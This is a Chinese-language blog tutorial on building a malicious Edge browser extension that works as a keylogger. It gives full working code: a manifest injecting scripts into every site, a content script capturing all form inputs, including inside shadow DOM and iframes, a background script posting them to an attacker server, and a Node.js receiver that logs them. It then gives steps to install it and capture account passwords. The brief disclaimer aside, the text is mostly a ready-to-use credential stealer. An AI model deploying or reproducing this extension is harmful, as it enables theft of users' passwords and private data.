免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。

前言

edge扩展作为edge浏览器丰富功能,增强浏览器功能扩展性的一个重要功能,不规范的配置和管理可能会造成严重的安全风险。恶意黑客利用钓鱼引导、后门植入等方式,制作和安装恶意扩展文件到edge浏览器中,从而造成信息泄露、凭证窃取、代码执行等风险。虽然Manifest V3版本已经移除了大量高危API和风险函数,但仍可以通过一定方式窃取到用户信息账户密码等。

扩展制作

edge扩展主要由核心文件、后台脚本、页面组件、资源文件等内容组成,想要制作恶意扩展文件,只需要保留核心文件、后台脚本即可。

现在我们开始编写扩展程序

核心文件 manifest.json

{
"manifest_version": 3,
"name": "Browser Helper",
"version": "1.0",
"description": "test",
"permissions": [
"activeTab",
"storage",
"webRequest",
"webNavigation"
],
"host_permissions": [
"http://192.168.80.128:8765/*"
],
"background": {
"service_worker": "background.js"
},
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_end"
}
]
}

我们来解释一下代码的主要核心内容,permissions是扩展在edge中的权限声明,我们需要用到的权限都需要在这进行声明。

activeTab用于临时获取当前激活(用户正在浏览)的标签页的控制权。

storage允许扩展使用 chrome.storage API 存储和读取数据。

webRequest拦截、修改或阻止网络请求。

webNavigation监听浏览器导航事件。

host_permissions下需要填写需要访问的特定主机或 URL 模式,当然这里直接换成"host_permissions": ["<all_urls>"]就是允许所有主机了。

"service_worker": "background.js"定义扩展的后台逻辑文件,这里是直接使用background.js作为后台逻辑文件。

"js": ["content.js"]向网页注入content.js脚本,后续获取用户输入信息有着巨大作用。

后台脚本 background.js

const ATTACKER_SERVER = 'http://192.168.80.128:8765/log';

let isConnected = false;

function testConnection() {
return fetch(ATTACKER_SERVER, {
method: 'HEAD'
}).then(() => {
isConnected = true;
return true;
}).catch(() => {
isConnected = false;
return false;
});
} function sendData(data) {
return fetch(ATTACKER_SERVER, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
}).catch(e => {
console.error('发送失败:', e);
isConnected = false;
});
} chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
if (message.type === 'input_log') {
if (isConnected) {
sendData(message.data);
} else {
testConnection().then(connected => {
if (connected) {
sendData(message.data);
}
});
}
}
}); setInterval(testConnection, 30000);

ATTACKER_SERVER填写攻击者的IP即可。

background.js用于定期检测与攻击者IP的连接状态,并在连接可用时将接收到的输入数据发送到该攻击者IP。

注入页面脚本 content.js

function debounce(func, delay) {
let timer = null;
return function (...args) {
if (timer) clearTimeout(timer);
timer = setTimeout(() => {
func.apply(this, args);
}, delay);
};
} const handleInput = debounce(function (e) {
const target = e.target; if (target.matches("input, textarea, [contenteditable='true']")) {
const value = target.value || target.innerText; const data = {
url: window.location.href,
input: value,
elementType: target.tagName,
timestamp: new Date().toISOString(),
};
console.log("捕获输入:", data);
chrome?.runtime?.sendMessage?.({ type: "input_log", data: data });
}
}, 300); // 防抖 300ms function bindInputEvents(root = document) {
// 普通 input/textarea
root.querySelectorAll("input, textarea").forEach((input) => {
input.addEventListener("input", handleInput);
input.addEventListener("change", handleInput);
}); root.querySelectorAll("[contenteditable='true']").forEach((el) => {
el.addEventListener("keyup", handleInput);
});
} function penetrateShadowDOM(root = document) {
root.querySelectorAll("*").forEach((element) => {
if (element.shadowRoot) {
bindInputEvents(element.shadowRoot);
penetrateShadowDOM(element.shadowRoot);
}
});
} function observeIframes() {
document.querySelectorAll("iframe").forEach((iframe) => {
try {
if (iframe.contentDocument) {
bindInputEvents(iframe.contentDocument);
penetrateShadowDOM(iframe.contentDocument);
}
} catch (e) {
console.warn("跨域 iframe 无法监听:", e);
}
});
} const observer = new MutationObserver((mutations) => {
bindInputEvents();
penetrateShadowDOM();
observeIframes();
}); observer.observe(document.documentElement, {
childList: true,
subtree: true,
}); bindInputEvents();
penetrateShadowDOM();
observeIframes(); const observeInputValues = () => {
document.querySelectorAll("input, textarea").forEach((input) => {
let lastValue = input.value;
const valueObserver = new MutationObserver(() => {
if (input.value !== lastValue) {
lastValue = input.value;
handleInput({ target: input });
}
});
valueObserver.observe(input, {
attributes: true,
attributeFilter: ["value"],
});
});
}; setTimeout(observeInputValues, 5000);

该脚本监听网页中的所有输入框,然后将数据发送到后台。

  const handleInput = debounce(function (e) {
const target = e.target; if (target.matches("input, textarea, [contenteditable='true']")) {
const value = target.value || target.innerText; const data = {
url: window.location.href,
input: value,
elementType: target.tagName,
timestamp: new Date().toISOString(),
};
console.log("捕获输入:", data);
chrome?.runtime?.sendMessage?.({ type: "input_log", data: data });
}
}, 300); // 防抖 300ms

这里设置了防抖300ms,是基于用户输入习惯进行设置的,正常用户输入一串信息是连续的,如果需要切换到其他输入框,需要一定的时间,如果不设置防抖,输入内容会一个字母一个字母返回,很影响查看。

攻击者脚本 server.js

扩展程序写完了,我们现在还需要创建接收信息的脚本,这里直接使用了node.js的脚本直接运行,实战中可以换成其他语言。

import express from 'express';
import cors from 'cors';
import fs from 'fs';
import path from 'path'; const app = express();
const PORT = 8765;
const LOG_FILE = 'keylogs.json'; app.use(cors());
app.use(express.json()); let logs = []; try {
const data = fs.readFileSync(LOG_FILE, 'utf8');
logs = JSON.parse(data);
} catch (err) {
if (err.code !== 'ENOENT') {
console.error('读取日志文件错误:', err);
}
} app.post('/log', (req, res) => {
const logData = req.body;
logData.receivedAt = new Date().toISOString();
logs.push(logData); fs.writeFile(LOG_FILE, JSON.stringify(logs, null, 2), (err) => {
if (err) {
console.error('写入日志文件错误:', err);
}
}); console.log('收到日志:', logData);
res.status(200).send('日志已接收');
}); app.head('/log', (req, res) => {
res.status(200).end();
}); app.get('/logs', (req, res) => {
res.json(logs);
}); app.listen(PORT, '0.0.0.0', () => {
console.log(`攻击者服务器运行在 http://192.168.80.128:${PORT}`);
console.log('等待扩展连接...');
});

实战过程

我们现在已经写好了恶意扩展的代码,现在我们需要将他运用于实际中。

1、先创建一个文件夹

2、将扩展程序代码文件放入文件夹内

3、打开edge浏览器,进入扩展页面,打开开发者模式,点击加载解压缩的扩展

4、选择刚才放扩展代码的文件夹

5、像这样显示就是导入成功了

6、使用node.js运行攻击者脚本

7、我们找到一个需要登录的网站测试,输入账户密码

8、可以看到脚本已经将用户输入的账户密码信息给传递过来了

总结

该方法可以通过恶意的edge扩展获取到用户的敏感信息和操作,从而造成信息泄露甚至丢失系统权限。目前只是提供一个思路,面对那种对账号密码信息安全严密性高的网站上述代码可能不太能获取得到信息,具体的绕过思路还没有找到,不过目前已经足以应对大部分场景了。

利用Edge浏览器扩展获取账号密码等敏感性信息的更多相关文章

  1. Chrome浏览器扩展 获取用户密码

    Chrome 浏览器允许安装第三方扩展程序以扩展浏览器并给浏览器加入新的功能,扩展使用 JavaScript 以及 HTMl 编写并允许互相访问和控制 DOM. 因为允许访问 DOM,攻击者就可以读取 ...

  2. 如何创建一个Edge 浏览器扩展

    随着微软Windows 10 年度更新的发布,数次延宕的Edge 扩展功能终于得到了官方正式支持.我在我的另外一个博客上发布了如何创建一个Edge 浏览器扩展的博文,链接如下: https://blo ...

  3. 如何查看Chrome浏览器保存的账号密码

    之前告诉大家如何一键查看所有保存在IE里的所有密码(点击查看原文),现在来告诉大家如何一键查看Chrome浏览器的所有密码.某种意义上上,查看Chrome的密码比查看IE的更简单,因为查看IE密码还需 ...

  4. 利用KEGG的API获取基因对应的pathway 信息

    KEGG 官网提供了API, 可以方便的访问KEGG 数据库中的内容,链接如下: http://www.kegg.jp/kegg/rest/keggapi.html 利用API可以得到某一个基因参与的 ...

  5. 如何清除保存在IE浏览器上的账号密码

    1,打开浏览器,打开右上角的工具选项,选择Internet选项 2,在‘常规’选项卡中点击“删除”按钮,在弹框中勾选“密码”,选择删除即可.

  6. 通过google的inurl:backupdata*dede_admin获取账号密码

    简要描述:很简单,通过google可找出备份路径. 详细说明:http://www.google.com.hk/search?q=inurl:backupdata*dede_admin&hl= ...

  7. DL账号密码生命周期信息流图

  8. Chrome扩展移植到Edge浏览器教程

    微软在推出Edge浏览器之初,就把能够使用扩展(extension)作为一个重要功能.在Win10一周年更新版(1607)中,这项功能正式向广大用户推出(当然,Insider用户早就测试了一段时间了) ...

  9. 802.1X 账号密码+设备信息双重认证

    名词解释 802.1X: IEEE802 LAN/WAN 委员会为解决无线局域网网络安全问题,提出了 802.1X 协议.后来,802.1X协议作为局域网端口的一个普通接入控制机制在以太网中被广泛应用 ...

  10. 利用PPPOE认证获取路由器中宽带账号密码

    前言 回家时买了一台极路由准备换掉家里老掉牙的阿里路由器,想进后台看一下宽带账号密码,咦???后台密码是什么来着??? 我陷入了沉思,家里的路由器一般都是pppoe拨号,而路由器在与pppoe认证服务 ...

随机推荐

  1. FOFA 图标哈希值大全

    FOFA 图标哈希值大全 服务 图标 哈希值 默认端口 Atlassian Crowd icon_hash="-1231308448" 8095 CouchDB icon_hash ...

  2. oracle开启了审计功能,导致sysaux表空间满的问题

    查询是否开启审计功能 SQL> show parameter audit 如下图所示: AUDIT_TRAIL参数用于指定数据库审计跟踪信息的记录方式.它接受三个可能的参数:NONE,DB,OS ...

  3. Q:linux上某个磁盘挂载不上

    想把新创建的 /dev/datavg/data_lv 挂载到 /mysql 目录上 mkfs -t xfs -f /dev/datavg/data_lv mount /dev/datavg/data_ ...

  4. Salt key 系统的接口

    官方文档:https://docs.saltstack.com/en/3000/ref/wheel/all/salt.wheel.key.html Wheel 系统包装了Salt key 系统,以编程 ...

  5. 手把手教你更优雅的享受 DeepSeek

    开始之前,首先要确定你已经配置好Ollama软件并正常运行DeepSeek本地模型.如果这一步还不清楚,请翻看之前的手把手教程<手把手教你部署 DeepSeek 本地模型>. 本文是手把手 ...

  6. BUUCTF-Web方向16-20wp

    [极客大挑战 2019]PHP 由内容提示应该存在源码备份,常见的如下,一个个尝试 后缀:tar tar.gz zip rar 名字:www web website backup back wwwro ...

  7. Docker - 在线音乐播放器 YesPlayMusic

    原文链接:https://mp.weixin.qq.com/s/D2778fnix6jAeZlCicWGdw(本文只作为跟练,不以盈利为目的) 1.下载镜像 [root@node ~]# docker ...

  8. Python - “人生苦短,我用Python”

    Python中的值(数据)类型 类型 描述 说明 数字(Number) 支持 整数(int) 浮点数(float) 复数(complex) 布尔(bool) 整数(int),如:10.-10 浮点数( ...

  9. 基于Openframeworks调取摄像头方式的定时抓拍保存图像方法小结

    这次是采用Openframeworks来调取摄像头画面并抓图保存. 开始 借向导自动生成代码,因为要调取摄像头设备,因此增添ofVideoGrabber对象声明,又因为保存需求,所以还需添加ofPix ...

  10. Springboot 全局统一处理异常

    import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind ...